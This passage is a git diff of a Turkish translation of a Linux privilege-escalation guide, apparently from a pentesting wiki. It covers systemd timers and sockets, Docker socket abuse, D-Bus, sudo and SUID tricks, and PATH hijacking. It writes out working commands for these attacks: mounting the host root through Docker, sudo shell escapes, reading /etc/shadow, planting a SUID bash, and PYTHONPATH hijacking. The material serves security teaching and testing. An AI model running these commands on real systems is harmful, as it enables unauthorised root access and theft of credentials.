-hello" ``` -Sonra, yazma izniniz olan systemd PATH klasörünün içine **executable** ile **same name as the relative path binary** olacak şekilde bir dosya oluşturun; servis savunmasız eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, **backdoor will be executed**. (Ayrıcalıksız kullanıcılar genellikle servisleri başlatıp/durduramazlar ama `sudo -l` kullanıp kullanamadığınızı kontrol edin). +Sonra, yazma izniniz olan systemd PATH klasörünün içine, görece yol ikili dosyayla aynı ada sahip bir **çalıştırılabilir** oluşturun ve servis savunmasız eylemi (**Başlat**, **Durdur**, **Yeniden Yükle**) gerçekleştirmesi istendiğinde, **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genelde servisleri başlatıp durduramazlar ama `sudo -l` kullanıp kullanamayacağınızı kontrol edin). -**Hizmetler hakkında daha fazla bilgi için `man systemd.service` kullanın.** +**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.** ## **Zamanlayıcılar** -**Zamanlayıcılar** systemd unit dosyalarıdır; isimleri `**.timer**` ile biter ve `**.service**` dosyalarını veya olayları kontrol eder. **Zamanlayıcılar**, takvim tabanlı zaman olayları ve monotonik zaman olaylarını yerleşik olarak destekledikleri ve asenkron şekilde çalıştırılabildikleri için cron'un bir alternatifi olarak kullanılabilir. +**Zamanlayıcılar** systemd birim dosyalarıdır; adları `**.timer**` ile biten ve `**.service**` dosyalarını veya olayları kontrol eden. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip oldukları ve eşzamansız çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: ```bash systemctl list-timers --all ``` -### Writable timers +### Yazılabilir timer'lar -Eğer bir timer'ı değiştirebilirseniz, systemd.unit içindeki mevcut birimleri (örn. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Eğer bir timer'ı değiştirebiliyorsanız, var olan systemd.unit birimlerinden bazılarını (örn. bir `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. ```bash Unit=backdoor.service ``` -> Bu timer sona erdiğinde etkinleştirilecek unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer varsayılan olarak timer unit ile aynı ada sahip bir service'e ayarlanır; tek fark son ektir. (Yukarıya bakın.) Etkinleştirilen unit adı ile timer unit adı, yalnızca son ek dışında aynı olacak şekilde adlandırılmaları önerilir. +Dokümantasyonda Unit'in ne olduğu şöyle açıklanır: + +> Bu timer sona erdiğinde etkinleştirilecek Unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer timer unit ile aynı ada sahip bir service'e varsayar; yalnızca son ek farklıdır. (Yukarıya bakın.) Etkinleştirilen unit adının ve timer unit adının son ek dışında aynı adla isimlendirilmesi önerilir. Bu izni kötüye kullanmak için şunlara ihtiyacınız olur: -- Bir systemd unit (ör. `.service`) bulun; bu unit **yazılabilir bir binary çalıştırıyor**. -- **relative path** çalıştıran ve **systemd PATH** üzerinde o executable'ı taklit etmek için **yazma ayrıcalıklarına** sahip olduğunuz bir systemd unit bulun. +- Bazı systemd unit'leri (ör. `.service`) bulun; bunlar **yazılabilir bir binary çalıştırıyor** +- Bazı systemd unit'leri bulun; bunlar **göreli bir yol çalıştırıyor** ve siz **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahipsiniz (o yürütülebilir dosyayı taklit etmek için) -**Timer'lar hakkında daha fazla bilgi için `man systemd.timer`'a bakın.** +**timer'lar hakkında daha fazlasını öğrenmek için `man systemd.timer`'a bakın.** ### **Timer'ı Etkinleştirme** @@ -435,32 +437,32 @@ Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Not: **timer**, ona işaret eden bir symlink oluşturularak `/etc/systemd/system/.wants/.timer` yolunda **etkinleştirilir** +Dikkat: **timer**, `/etc/systemd/system/.wants/.timer` konumuna bir symlink oluşturarak **etkinleştirilir** ## Sockets -Unix Domain Sockets (UDS), istemci-sunucu modellerinde aynı veya farklı makineler arasında **süreçler arası iletişim** sağlar. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanır ve `.socket` dosyalarıyla yapılandırılır. +Unix Domain Sockets (UDS) istemci-sunucu modellerinde aynı veya farklı makinelerde **process communication** sağlar. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. Sockets `.socket` dosyaları kullanılarak yapılandırılabilir. -**Learn more about sockets with `man systemd.socket`.** Bu dosyanın içinde, yapılandırılabilecek birkaç ilginç parametre vardır: +**Soketler hakkında daha fazla bilgi için `man systemd.socket`.** Bu dosya içinde, yapılandırılabilecek birkaç ilginç parametre vardır: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır, ancak özet olarak socket'in nerede dinleyeceğini **belirtmek** için kullanılır (AF_UNIX socket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.) -- `Accept`: Boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve sadece bağlantı socket'i ona iletilir. Eğer **false** ise, tüm dinleme soketleri başlatılan service unit'a **aktarılan** nesneler olur ve tüm bağlantılar için yalnızca bir service unit başlatılır. Bu değer, tek bir service unit'un tüm gelen trafiği koşulsuz olarak işlediği datagram soketleri ve FIFOs için yoksayılır. **Defaults to false**. Performans nedeniyle, yeni daemon'ların yalnızca `Accept=no` için uygun olacak şekilde yazılması tavsiye edilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bu komutlar sırasıyla dinleme **sockets**/FIFOs **oluşturulmadan önce** veya **oluşturulduktan sonra** yürütülür. Komut satırının ilk token'i mutlak bir dosya adı olmalı, ardından süreç için argümanlar gelir. -- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFOs **kapatılmadan önce** veya **kapatıldıktan sonra** sırasıyla yürütülen ek **komutlar**. -- `Service`: Gelen trafik üzerine **aktif edilecek** **service** unit adını belirtir. Bu ayar sadece `Accept=no` olan sockets için izin verilir. Varsayılan olarak socket ile aynı adı taşıyan (sonek değiştirilmiş) service'i işaret eder. Çoğu durumda bu seçeneği kullanmak gerekli değildir. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak özet olarak soketin **nerede dinleyeceğini göstermek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.) +- `Accept`: Bir boolean argüman alır. Eğer **true** ise, her gelen bağlantı için bir **service instance** başlatılır ve sadece bağlantı soketi ona geçirilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan service unit'e geçirilir**, ve tüm bağlantılar için yalnızca bir service unit başlatılır. Bu değer, tek bir service unit'un tüm gelen trafiği koşulsuz olarak işlediği datagram soketleri ve FIFO'lar için yok sayılır. **Varsayılan false'dur**. Performans nedenleriyle, yeni daemon'ların yalnızca `Accept=no` için uygun şekilde yazılması önerilir. +- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinlenen **sockets**/FIFO'lar **oluşturulup** bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk tokeni mutlak bir dosya adı olmalıdır, ardından işlem için argümanlar gelir. +- `ExecStopPre`, `ExecStopPost`: Dinlenen **sockets**/FIFO'lar **kapatılıp** kaldırılmadan sırasıyla **önce** veya **sonra** **çalıştırılan** ek **komutlar**. +- `Service`: Gelen trafik üzerinde **etkinleştirilecek** **service** unit adını belirtir. Bu ayar yalnızca Accept=no olan socket'ler için izin verilir. Varsayılan olarak, soket ile aynı adı taşıyan (sonek değiştirilmiş olan) service'e ayarlanır. Çoğu durumda bu seçeneğin kullanılması gerekli değildir. ### Writable .socket files -Eğer yazılabilir bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor socket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ -_Sistemin bu socket dosyası yapılandırmasını kullanıyor olması gerektiğini unutmayın; aksi takdirde backdoor çalıştırılmaz_ +Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor socket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ +_Not: Sistemin o socket dosyası yapılandırmasını kullanıyor olması gerekir; aksi halde backdoor çalıştırılmaz_ ### Writable sockets -Eğer herhangi bir yazılabilir socket tespit ederseniz (_burada artık yapılandırma `.socket` dosyalarından değil Unix Sockets'ten bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir açığı istismar edebilirsiniz. +Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şimdi burada config `.socket` dosyalarından değil, Unix Sockets'den bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyeti istismar edebilirsiniz. -### Enumerate Unix Sockets +### Unix Sockets'leri Listeleme ```bash netstat -a -p --unix ``` @@ -473,7 +475,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**İstismar örneği:** {{#ref}} @@ -482,36 +484,36 @@ socket-command-injection.md ### HTTP sockets -Unutmayın ki bazı **sockets listening for HTTP** istekleri olabilir (_.socket files'tan değil, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: +HTTP isteklerini dinleyen bazı **sockets listening for HTTP** bulunabilir (_I'm not talking about .socket files but the files acting as unix sockets_). Bunu şu şekilde kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer socket **HTTP isteğine yanıt veriyorsa**, onunla **iletişim kurabilir** ve belki bazı **zafiyetleri istismar edebilirsiniz**. +Eğer soket bir **HTTP** isteğine **cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de **bazı bir zafiyeti sömürebilirsiniz**. -### Yazılabilir Docker Socket +### Yazılabilir Docker soketi -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker soketi, genellikle `/var/run/docker.sock` konumunda bulunan, korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu sokete yazma erişimine sahip olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü var. -#### **Docker CLI ile Privilege Escalation** +#### **Privilege Escalation with Docker CLI** -Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz: +Eğer Docker soketine yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, host'un dosya sistemine root düzeyinde erişime sahip bir container çalıştırmanızı sağlar. +Bu komutlar, host'un dosya sistemine root düzeyinde erişim ile bir container çalıştırmanızı sağlar. #### **Docker API'yi Doğrudan Kullanma** -Docker CLI mevcut olmadığında, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir. +Docker CLI mevcut olmadığında, Docker soketi yine Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **List Docker Images:** Kullanılabilir images listesini alın. +1. **List Docker Images:** Mevcut image'lerin listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** host sisteminin root dizinini mount eden bir container oluşturmak için bir istek gönderin. +2. **Create a Container:** Host sisteminin root dizinini mount eden bir container oluşturmak için bir istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -523,7 +525,7 @@ Yeni oluşturulan container'ı başlatın: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Container'a Bağlanma:** `socat` kullanarak container ile bağlantı kurun; bu sayede içinde komut çalıştırabilirsiniz. +3. **Attach to the Container:** `socat` kullanarak container'a bir bağlantı kurun; bu sayede içinde komut çalıştırabilirsiniz. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişimle doğrudan container içinde komut çalıştırabilirsiniz. +`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişim ile doğrudan container içinde komut çalıştırabilirsiniz. ### Diğerleri -Docker socket üzerinde yazma izniniz varsa çünkü **`docker` grubunun içindeyseniz** [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Docker soketi üzerinde yazma izniniz varsa çünkü **`docker` grubunun içindesiniz**, [**ayrıca ayrıcalıkları yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API bir portta dinliyorsa onu da ele geçirebilirsiniz**](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -docker'dan çıkmak veya onu kötüye kullanarak ayrıcalık yükseltmek için daha fazla yol için bakın: +Docker'dan kaçmak veya onu kötüye kullanarak ayrıcalıkları yükseltmek için **daha fazla yol** inceleyin: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) ayrıcalık yükseltme -Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: +Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** ayrıcalık yükseltme -Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: +Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz**: {{#ref}} @@ -566,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus, uygulamaların verimli şekilde etkileşimde bulunup veri paylaşmasını sağlayan gelişmiş bir inter-Process Communication (IPC) sistemidir. Modern Linux sistemi düşünülerek tasarlanmış olup, farklı türde uygulama iletişimi için sağlam bir çerçeve sunar. +D-Bus, uygulamaların verimli şekilde etkileşimde bulunup veri paylaşmasını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**'dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olan D-Bus, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem esnektir; işlemeler arası veri alışverişini geliştiren temel IPC'yi destekler, bu **enhanced UNIX domain sockets**'i anımsatır. Ayrıca olayların veya sinyallerin yayınlanmasına yardımcı olur ve sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen arama bildirimi, bir müzik çalarını sessize almasını tetikleyebilir; böylece kullanıcı deneyimi iyileşir. Ek olarak, D-Bus bir remote object system destekler; bu, uygulamalar arasında servis taleplerini ve metod çağrılarını basitleştirerek geleneksel olarak karmaşık olan süreçleri düzene sokar. +Sistem çok yönlüdür; süreçler arasındaki veri alışverişini geliştiren temel IPC'yi destekler ve bu, **enhanced UNIX domain sockets**'ı anımsatır. Ayrıca olayları veya sinyalleri yayınlamaya yardımcı olur ve sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, Bluetooth daemon'undan gelen bir arama bildirim sinyali, bir müzik çalarını sessize aldırarak kullanıcı deneyimini iyileştirebilir. Ayrıca D-Bus, uzak nesne sistemini destekler; bu, uygulamalar arasında servis istekleri ve yöntem çağrılarını basitleştirerek geleneksel olarak karmaşık olan süreçleri kolaylaştırır. -D-Bus, eşleşen politika kurallarının kümülatif etkisine göre mesaj izinlerini (metod çağrıları, sinyal yayımı, vb.) yöneten bir **allow/deny model** üzerinde çalışır. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin suiistimali yoluyla privilege escalation'a izin verebilir. +D-Bus, mesaj izinlerini (metot çağrıları, sinyal yayımı vb.) eşleşen politika kurallarının kümülatif etkisine göre yöneten bir **allow/deny modeli** ile çalışır. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin kötüye kullanılması yoluyla ayrıcalık yükseltmeye olanak sağlayabilir. -Bu tür bir politika örneği `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde verilmiştir; root kullanıcısına `fi.w1.wpa_supplicant1` üzerinde sahip olma, ona gönderme ve ondan mesaj alma izinlerini detaylandırır. +Böyle bir politikanın bir örneği `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde verilmiştir; bu örnek, root kullanıcısının `fi.w1.wpa_supplicant1`'e sahip olma, ona mesaj gönderme ve ondan mesaj alma izinlerini ayrıntılı olarak gösterir. -Kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer özel politikalar tarafından kapsanmayan herkese uygulanır. +Belirtilmiş kullanıcı veya grup olmayan politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer belirli politikalar tarafından kapsanmayan tüm öğelere uygulanır. ```xml @@ -583,7 +585,7 @@ Kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanır; "def ``` -**D-Bus iletişimini burada enumerate ve exploit etmeyi öğrenin:** +**D-Bus iletişimini nasıl enumerate edip exploit edeceğinizi burada öğrenin:** {{#ref}} @@ -592,7 +594,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Ağ** -Ağı enumerate etmek ve makinenin konumunu tespit etmek her zaman ilginçtir. +Ağı enumerate etmek ve makinenin konumunu belirlemek her zaman ilginçtir. ### Genel enumeration ```bash @@ -619,14 +621,14 @@ lsof -i ``` ### Açık portlar -Erişim sağlamadan önce, daha önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: +Makinaya erişmeden önce etkileşim kuramadığınız ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sniff traffic yapıp yapamayacağınızı kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz. +Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer sniff yapabiliyorsanız, bazı credentials elde edebilirsiniz. ``` timeout 1 tcpdump ``` @@ -634,7 +636,7 @@ timeout 1 tcpdump ### Genel Keşif -Kontrol edin **kim olduğunuzu**, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcıların** bulunduğunu, hangilerinin **oturum açabildiğini** ve hangilerinin **root ayrıcalıklarına** sahip olduğunu: +Kontrol edin **kim** olduğunuzu, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş** yapabildiğini ve hangilerinin **root ayrıcalıklarına** sahip olduğunu: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -656,14 +658,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Büyük UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruplar -Root ayrıcalıkları verebilecek herhangi bir grubun **üyesi olup olmadığınızı** kontrol edin: +root ayrıcalıkları verebilecek herhangi bir grubun **üyesi olup olmadığınızı** kontrol edin: {{#ref}} @@ -672,7 +674,7 @@ interesting-groups-linux-pe/ ### Pano -Eğer mümkünse panoda ilginç bir şey bulunup bulunmadığını kontrol edin +Panonun içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -689,27 +691,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Eğer ortamın **herhangi bir parolasını biliyorsanız**, **parolayı kullanarak her kullanıcıya giriş yapmayı deneyin**. +Eğer ortamın herhangi bir **parolasını biliyorsanız**, bu parolayı kullanarak **her kullanıcı için giriş yapmayı deneyin**. ### Su Brute -Eğer çok fazla gürültü çıkarmayı umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, kullanıcıya brute-force yapmak için [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanmayı deneyebilirsiniz.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile aynı zamanda kullanıcıları brute-force etmeye de çalışır. +Çok fazla gürültü oluşturmayı umursamıyorsanız ve `su` ve `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıya brute-force uygulamayı deneyebilirsiniz.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile ayrıca kullanıcıları brute-force etmeyi dener. ## Yazılabilir PATH kötüye kullanımları ### $PATH -Eğer **$PATH içindeki herhangi bir klasöre yazabiliyorsanız**, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla **yazılabilir klasörün içine bir backdoor oluşturmak** suretiyle ayrıcalıkları yükseltebilirsiniz ve bunun için bu komutun sizin yazılabilir klasörünüzden **önce yer alan bir klasörden yüklenmemesi** gerekir. +Eğer $PATH içindeki herhangi bir klasöre **yazabildiğinizi** fark ederseniz, ayrı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutla aynı ada sahip bir backdoor'u **yazılabilir klasörün içine oluştururarak** ayrıcalıkları yükseltebilirsiniz ve bunun için bu komutun $PATH içinde yazılabilir klasörünüzden **önceki bir klasörden yüklenmemesi** gerekir. -### SUDO ve SUID +### SUDO and SUID -Bazı komutları sudo ile çalıştırma izniniz olabilir veya dosyalar suid biti ile işaretlenmiş olabilir. Bunu şu şekilde kontrol edin: +Bazı komutları sudo ile çalıştırma izniniz olabilir veya komutların suid biti setlenmiş olabilir. Bunun için şu şekilde kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmedik komutlar dosyaları okumanıza ve/veya yazmanıza veya hatta bir komutu çalıştırmanıza izin verebilir.** Örneğin: +Bazı **beklenmeyen komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komut çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -720,31 +722,31 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının şifreyi bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla parolasını bilmeden bazı komutları çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; artık root dizinine bir ssh key ekleyerek veya `sh` çağırarak bir shell elde etmek çok basit. +Bu örnekte kullanıcı `demo`, `root` olarak `vim` çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak bir shell elde etmek artık çok kolay. ``` sudo vim -c '!sh' ``` ### SETENV -Bu yönerge, kullanıcıya bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir: +Bu yönerge kullanıcıya bir şey çalıştırırken **bir ortam değişkeni ayarlama** imkânı verir: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **HTB machine Admirer'e dayanan**, script root olarak çalıştırılırken rastgele bir python kütüphanesi yüklemek için **PYTHONPATH hijacking**'e karşı **savunmasızdı:** +Bu örnek, **HTB machine Admirer'e dayanan**, script root olarak çalıştırılırken bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e karşı **savunmasızdı**: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo yürütme atlatma yolları -**Jump** ile diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** diğer dosyaları okumak veya **symlinks** kullanmak için. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -754,50 +756,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Bir **wildcard** kullanılmışsa (\*), bu daha da kolaydır: +Eğer bir **wildcard** kullanılırsa (\*), daha da kolaydır: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary komut yolu belirtilmeden +### Sudo command/SUID binary komut yolu olmadan -Eğer bir komuta **sudo permission** verilmişse ve **komut yolu belirtilmemişse**: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. +Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik, bir **suid** binary başka bir komutu yolunu belirtmeden çalıştırıyorsa da kullanılabilir (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin). +Bu teknik, bir **suid** binary **komutun yolunu belirtmeden başka bir komutu çalıştırıyorsa (her zaman garip bir SUID binary içeriğini kontrol etmek için** _**strings**_ **kullanın)**). [Payload examples to execute.](payloads-to-execute.md) ### Komut yolu belirtilmiş SUID binary -Eğer **suid** binary **komutun yolunu belirterek başka bir komut çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon oluşturup **export etmeyi** deneyebilirsiniz. +Eğer **suid** binary **komutun yolunu belirterek başka bir komutu çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon oluşturup **export a function** etmeyi deneyebilirsiniz. -Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmeyi denemelisiniz: +Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Sonrasında suid binary'yi çağırdığınızda bu fonksiyon çalıştırılacaktır +Sonra, suid binary'yi çağırdığınızda, bu fonksiyon çalıştırılacaktır ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** ortam değişkeni, loader tarafından standart C kütüphanesi (`libc.so`) dahil diğer tüm kütüphanelerden önce yüklenecek bir veya daha fazla shared library (.so dosyası) belirtmek için kullanılır. Bu işleme bir kütüphaneyi önceden yükleme denir. +The **LD_PRELOAD** ortam değişkeni, loader tarafından diğer tüm kütüphanelerden önce yüklenmesi için bir veya daha fazla paylaşımlı kütüphane (.so dosyası) belirtmek amacıyla kullanılır; bunun içine standart C kütüphanesi (`libc.so`) de 